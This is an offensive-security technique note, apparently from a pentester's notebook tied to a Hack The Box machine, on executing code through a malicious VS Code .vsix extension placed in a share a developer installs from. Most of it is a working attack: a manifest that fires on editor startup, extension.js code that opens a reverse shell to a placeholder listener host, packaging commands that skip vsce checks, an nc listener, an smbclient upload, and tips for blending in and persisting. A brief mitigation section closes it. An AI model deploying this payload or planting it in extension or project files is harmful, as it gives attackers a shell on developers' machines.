đź§ VS Code Extension (VSIX) RCE
What is it?
- Concept: A
.vsixis nothing more than a ZIP containing apackage.jsonmanifest and JavaScript. When Visual Studio Code installs or activates an extension, that JavaScript runs in the editor’s Node.js host, as the user running VS Code, with no sandbox and full access tochild_process,fsandnet. So any location a developer’s VS Code picks extensions up from — a share, a drop folder, a “team extensions” directory — is a code-execution primitive against that developer’s session. - Impact: Remote code execution as the developer, not as the service account you started from. This is a lateral-movement/user-pivot technique: it converts “I can write a file into a share” into “I have a shell as whoever opens their IDE”.
How it works
- VS Code extensions declare an entry point (
main) and activation events inpackage.json."activationEvents": ["onStartupFinished"]makes the extension’sactivate()function run every time the editor finishes starting — no user interaction, no file needing to be opened. - Installing a
.vsixfrom disk (code --install-extension x.vsix, or the “Install from VSIX…” menu item, or any automation that does it) bypasses the Marketplace entirely — no publisher verification, no malware scanning, no signature check. The scanning story only exists on the Marketplace path. activate()runs with the full Node.js API surface available; a reverse shell is a dozen lines ofnet+child_process.- The delivery step is the part you actually have to find: a writable SMB share consumed by a developer, a CI job that installs extensions from a directory, a
code --install-extensionin a scheduled task. On HTB Machine - Checkpoint it was aDevDropSMB share that a developer’s workstation loaded extensions from.
Exploitation
Prerequisites
- Write access to a location whose
.vsixfiles get installed/loaded by someone else’s VS Code (share, drop folder, extensions directory, CI step). - Something that actually triggers the install — a user, a bot, or a scheduled job. Without it this is just an uploaded file.
-
npmlocally to package the extension (@vscode/vsce).
Attack Vectors
# Package the payload extension
npm install -g @vscode/vsce
mkdir payload && cd payload// package.json — the engines version must be <= the target's VS Code version
{
"name": "helper-utils",
"version": "1.0.0",
"engines": { "vscode": "^1.118.0" },
"activationEvents": ["onStartupFinished"],
"main": "./extension.js"
}// extension.js — runs as the user, on every editor start
const net = require('net');
const cp = require('child_process');
exports.activate = function () {
const client = new net.Socket();
client.connect(4444, '<LHOST>', () => {
const shell = cp.spawn('cmd.exe', [], { stdio: 'pipe' }); // /bin/bash on Linux/macOS
client.pipe(shell.stdin);
shell.stdout.pipe(client);
shell.stderr.pipe(client);
});
};
exports.deactivate = function () {};# Build the .vsix (the two flags skip the checks vsce normally insists on)
vsce package --allow-missing-repository --skip-license -o payload.vsix
# Listener
rlwrap nc -lvnp 4444
# Deliver it to the writable drop folder
smbclient //<host>/<share> -U '<domain>\<user>%<pass>' -c 'put payload.vsix payload.vsix'Notes
- Match the
engines.vscodeversion to the target. If the manifest demands a newer VS Code than the victim runs, the install is refused and nothing fires — the share’s description/README (or an existing.vsixin the folder) usually tells you the version in use. - Activation events are the whole trick:
onStartupFinishedand*fire unconditionally;onLanguage:python,onCommand:...require the victim to do something specific. Pick the unconditional one unless you are trying to be quiet. - A
.vsixis a ZIP —unzip -lany existing extension in the drop folder to copy its manifest shape (publisher, engines, name) and blend in. - Same idea, different ecosystems: any IDE/editor plugin format that executes on load (JetBrains plugins, Sublime
.sublime-package, Neovim plugin dirs) is the same primitive; so is a.vscode/tasks.jsonwith"runOn": "folderOpen"if you can write into a repo the victim opens. - Don’t forget the payload leaves a persistent artifact — the extension stays installed in
%USERPROFILE%\.vscode\extensions\and re-fires on every editor start, which is convenient as persistence and loud as evidence.
Mitigation
- Fix: Never let an untrusted-writable location feed an editor’s extension installs — extension provisioning should come from the Marketplace (or a curated internal registry) with an allow-list (
extensions.allowedpolicy) pinning publisher and version. Treat a share that a developer machine auto-installs from as equivalent to a share that executes code, and lock its write ACL accordingly.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Checkpoint | Thursday, September 3rd 2026, 9:04:16 pm |
References: